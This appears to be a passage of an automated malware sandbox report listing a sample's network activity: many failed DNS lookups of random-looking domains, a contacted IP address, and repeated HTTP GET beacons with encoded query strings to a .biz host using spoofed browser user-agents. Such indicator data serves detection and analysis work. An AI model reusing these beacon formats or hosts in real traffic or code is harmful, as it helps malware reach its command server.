Source: unknown	DNS traffic detected: query: ikcbifkwlk.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hftqf.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qnogblecjea.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: asnowslrmxc.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xgikausivxwzy.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: czascqiszus.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qckucorunniiim.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eqwmxcdrpj.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gsomh.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: susondjqc.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nzuut.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: epqexyxenaeic.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vlcgwazanccbn.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yowuwvxv.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ebxaoqdog.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yroay.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kwuaq.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wxfqhxagktwgx.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uekqcmykw.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yqauyqiqsea.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sgjlqugfwhiau.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: coiibqmkmgy.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fgoswcabyak.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: buspeydkzeo.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tyzysm.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qyeucef.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iaqjicjqutgbe.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ruxqdcjzyww.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uwgiucm.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uboee.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nxsmsoa.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gzgjpnqgthsast.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zikyctgryiz.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qfcaeqgdmbwddo.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smbkzs.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: amqogkz.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ogsdabuwibmkq.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gwemlwwftqqka.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sdzdwye.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aoynscawsxqoi.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: epqvgnoqqc.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kiizskkik.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: meysvxuem.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: facooqj.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qogryka.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: conprak.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hmsyergsw.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: akeuusm.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lkkuezi.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kmakdec.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wamitiwocibqm.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kmsmk.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jaexai.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xzdzosifkmda.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mhydmmzuo.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ygwkkgxmaqkuy.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tkeauqkgkazmn.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qqacnyk.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fjguuiscc.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ywemtskiggg.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ktyrs.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ccstfdkaf.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kwiiegmdtzxgo.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gkwiyutwunt.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zbgockeg.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lawkkic.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qicnawevodqu.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: umekwkisi.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bussouscmjn.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kgmaiwktywawg.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ieqiukyskycdo.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xcuygzgyr.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: raiwk.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: akaxbihvsec.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pososlwpvklst.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: imncrmx.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aeuodisoo.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lkseeysm.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: thgchg.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gnhlmcih.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: koavbgwohct.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vslsnywowdoqi.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wypoaqci.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dyxum.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ecceuleyq.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ovssbbpasyk.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tacmystokqc.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jxuuggggk.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kqguj.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ekscwgcwngw.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wcsgixge.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uvxqkcmiebh.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cgcwwgsmjiewqm.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yicvwfgkc.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iumeadq.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: avscooaicdshq.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: timsbauamckr.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oiqwotkmswmgrm.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ouavqkeoy.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: whrwezmikgr.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wwhoyfa.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eyaeqgsws.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: imoqqcxc.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cxyojompvsg.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zgumsqapwvk.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rqglswlmmbwbt.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hsasoeojcwc.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qncsduvoobluey.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqsfxtzkmcu.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kglgmgeh.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qikaefe.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yswouqjaca.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ghkekijca.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lnzuxczyhui.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iidoygkltzmou.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xonickjefqu.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uohcuegnkvj.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gswpvik.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ygmgq.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qwojeiwehwq.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: owwecumt.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: agkwukqervama.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: opsiyrygcixpmu.nu replaycode: Name error (3)

Source: unknown

Network traffic detected: DNS query count 343

Source: Joe Sandbox View	IP Address: 64.70.19.203 64.70.19.203
Source: Joe Sandbox View	IP Address: 64.70.19.203 64.70.19.203

Source: global traffic	HTTP traffic detected: GET /d/N?02F4017805F4017805DA015405F401B55C56B0B4C7F501B8ADF6074E2BC62F4137C4315605 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F4017805F4017805DA015405F401B55C56B0B4C7F501B8ADF6074E2BC62F4137C4315605 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02E448C223E448C223CA48EE23E4480F7A46F90EE1E548028BE64EF40DD666FB11D478EC23 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02E448C223E448C223CA48EE23E4480F7A46F90EE1E548028BE64EF40DD666FB11D478EC23 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F61668A8F61668A8D81644A8F616A5F154A7A46AF716A800F4105E86C438519AC62646A8 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F61668A8F61668A8D81644A8F616A5F154A7A46AF716A800F4105E86C438519AC62646A8 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B82229F7B82229F7962205F7B822E4AE1A93E535B922E95FBA241FD98A0C10C5881207F7 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B82229F7B82229F7962205F7B822E4AE1A93E535B922E95FBA241FD98A0C10C5881207F7 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02908178BA908178BABE8154BA9081B5E33230B4789181B81292874E94A2AF4188A0B156BA HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02908178BA908178BABE8154BA9081B5E33230B4789181B81292874E94A2AF4188A0B156BA HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F836E051F836E051D636CC51F8362D085A872C93F93620F9FA30D67FCA18D963C806CE51 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F836E051F836E051D636CC51F8362D085A872C93F93620F9FA30D67FCA18D963C806CE51 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02E9EB384CE9EB384CC7EB144CE9EBF5154B5AF48EE8EBF8E4EBED0E62DBC5017ED9DB164C HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02E9EB384CE9EB384CC7EB144CE9EBF5154B5AF48EE8EBF8E4EBED0E62DBC5017ED9DB164C HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F8C00BE1F8C00BE1D6C027E1F8C0C6B85A71C723F9C0CB49FAC63DCFCAEE32D3C8F025E1 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F8C00BE1F8C00BE1D6C027E1F8C0C6B85A71C723F9C0CB49FAC63DCFCAEE32D3C8F025E1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0228C04BEE28C04BEE06C067EE28C086B78A71872C29C08B462AC67DC01AEE72DC18F065EE HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0228C04BEE28C04BEE06C067EE28C086B78A71872C29C08B462AC67DC01AEE72DC18F065EE HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02EBE93423EBE93423C5E91823EBE9F97A4958F8E1EAE9F48BE9EF020DD9C70D11DBD91A23 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02EBE93423EBE93423C5E91823EBE9F97A4958F8E1EAE9F48BE9EF020DD9C70D11DBD91A23 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025429DBFD5429DBFD7A29F7FD542916A4F698173F55291B55562FEDD36607E2CF6419F5FD HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025429DBFD5429DBFD7A29F7FD542916A4F698173F55291B55562FEDD36607E2CF6419F5FD HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B11BF607B11BF6079F1BDA07B11B3B5E13AA3AC5B01B36AFB31DC0298335CF35812BD807 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B11BF607B11BF6079F1BDA07B11B3B5E13AA3AC5B01B36AFB31DC0298335CF35812BD807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F0284686F0284686DE286A86F0288BDF52998A44F128862EF22E70A8C2067FB4C0186886 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F0284686F0284686DE286A86F0288BDF52998A44F128862EF22E70A8C2067FB4C0186886 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B624B8FAB624B8FA982494FAB62475A314957438B7247852B4228ED4840A81C8861496FA HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B624B8FAB624B8FA982494FAB62475A314957438B7247852B4228ED4840A81C8861496FA HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027509F5FE7509F5FE5B09D9FE750938A7D7B8393C74093556770FC3D04727CCCC4539DBFE HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?027509F5FE7509F5FE5B09D9FE750938A7D7B8393C74093556770FC3D04727CCCC4539DBFE HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022C9FA96C2C9FA96C029F856C2C9F64358E2E65AE2D9F69C42E999F421EB1905E1CAF876C HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022C9FA96C2C9FA96C029F856C2C9F64358E2E65AE2D9F69C42E999F421EB1905E1CAF876C HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0226464D4326464D43084661432646801A84F7818127468DEB24407B6D1468747116766343 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0226464D4326464D43084661432646801A84F7818127468DEB24407B6D1468747116766343 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022880A7482880A74806808B4828806A118A316B8A298067E02A8691661AAE9E7A18B08948 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022880A7482880A74806808B4828806A118A316B8A298067E02A8691661AAE9E7A18B08948 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0296C9CA5596C9CA55B8C9E65596C9070C3478069797C90AFD94CFFC7BA4E7F367A6F9E455 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0296C9CA5596C9CA55B8C9E65596C9070C3478069797C90AFD94CFFC7BA4E7F367A6F9E455 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B8E79322B8E7932296E7BF22B8E75E7B1A565FE0B9E7538ABAE1A50C8AC9AA1088D7BD22 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B8E79322B8E7932296E7BF22B8E75E7B1A565FE0B9E7538ABAE1A50C8AC9AA1088D7BD22 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?020F06AE640F06AE64210682640F06633DADB762A60E066ECC0D00984A3D2897563F368064 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?020F06AE640F06AE64210682640F06633DADB762A60E066ECC0D00984A3D2897563F368064 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0204466394044663942A464F940446AECDA6F7AF560546A33C064055BA36685AA634764D94 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0204466394044663942A464F940446AECDA6F7AF560546A33C064055BA36685AA634764D94 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027E2B6AD77E2B6AD7502B46D77E2BA78EDC9AA6157F2BAA7F7C2D5CF94C0553E54E1B44D7 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?027E2B6AD77E2B6AD7502B46D77E2BA78EDC9AA6157F2BAA7F7C2D5CF94C0553E54E1B44D7 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029C84ADC09C84ADC0B28481C09C8460993E3561029D846D689E829BEEAEAA94F2ACB483C0 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029C84ADC09C84ADC0B28481C09C8460993E3561029D846D689E829BEEAEAA94F2ACB483C0 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029A22B7269A22B726B4229B269A227A7F38937BE49B22778E98248108A80C8E14AA129926 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029A22B7269A22B726B4229B269A227A7F38937BE49B22778E98248108A80C8E14AA129926 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F4FBB763F4FBB763DAFB9B63F4FB7A3A564A7BA1F5FB77CBF6FD814DC6D58E51C4CB9963 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F4FBB763F4FBB763DAFB9B63F4FB7A3A564A7BA1F5FB77CBF6FD814DC6D58E51C4CB9963 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02CA747344CA747344E4745F44CA74BE1D68C5BF86CB74B3ECC872456AF85A4A76FA445D44 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02CA747344CA747344E4745F44CA74BE1D68C5BF86CB74B3ECC872456AF85A4A76FA445D44 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0266D2AE3866D2AE3848D2823866D26361C46362FA67D26E9064D4981654FC970A56E28038 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0266D2AE3866D2AE3848D2823866D26361C46362FA67D26E9064D4981654FC970A56E28038 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0203ACC32E03ACC32E2DACEF2E03AC0E77A11D0FEC02AC038601AAF5003182FA1C339CED2E HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0203ACC32E03ACC32E2DACEF2E03AC0E77A11D0FEC02AC038601AAF5003182FA1C339CED2E HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0246E0960F46E0960F68E0BA0F46E05B56E4515ACD47E056A744E6A02174CEAF3D76D0B80F HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0246E0960F46E0960F68E0BA0F46E05B56E4515ACD47E056A744E6A02174CEAF3D76D0B80F HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0281377A8581377A85AF3756858137B7DC2386B6478037BA2D83314CABB31943B7B1075485 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0281377A8581377A85AF3756858137B7DC2386B6478037BA2D83314CABB31943B7B1075485 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022E8EF7922E8EF792008EDB922E8E3ACB8C3F3B502F8E373A2C88C1BC1CA0CEA01EBED992 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022E8EF7922E8EF792008EDB922E8E3ACB8C3F3B502F8E373A2C88C1BC1CA0CEA01EBED992 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02706A6D19706A6D195E6A4119706AA040D2DBA1DB716AADB1726C5B374244542B405A4319 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02706A6D19706A6D195E6A4119706AA040D2DBA1DB716AADB1726C5B374244542B405A4319 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0280AACDBE80AACDBEAEAAE1BE80AA00E7221B017C81AA0D1682ACFB90B284F48CB09AE3BE HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0280AACDBE80AACDBEAEAAE1BE80AA00E7221B017C81AA0D1682ACFB90B284F48CB09AE3BE HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0285B5578985B55789ABB57B8985B59AD027049B4B84B5972187B361A7B79B6EBBB5857989 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0285B5578985B55789ABB57B8985B59AD027049B4B84B5972187B361A7B79B6EBBB5857989 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02E92C5BB5E92C5BB5C72C77B5E92C96EC4B9D9777E82C9B1DEB2A6D9BDB026287D91C75B5 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02E92C5BB5E92C5BB5C72C77B5E92C96EC4B9D9777E82C9B1DEB2A6D9BDB026287D91C75B5 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
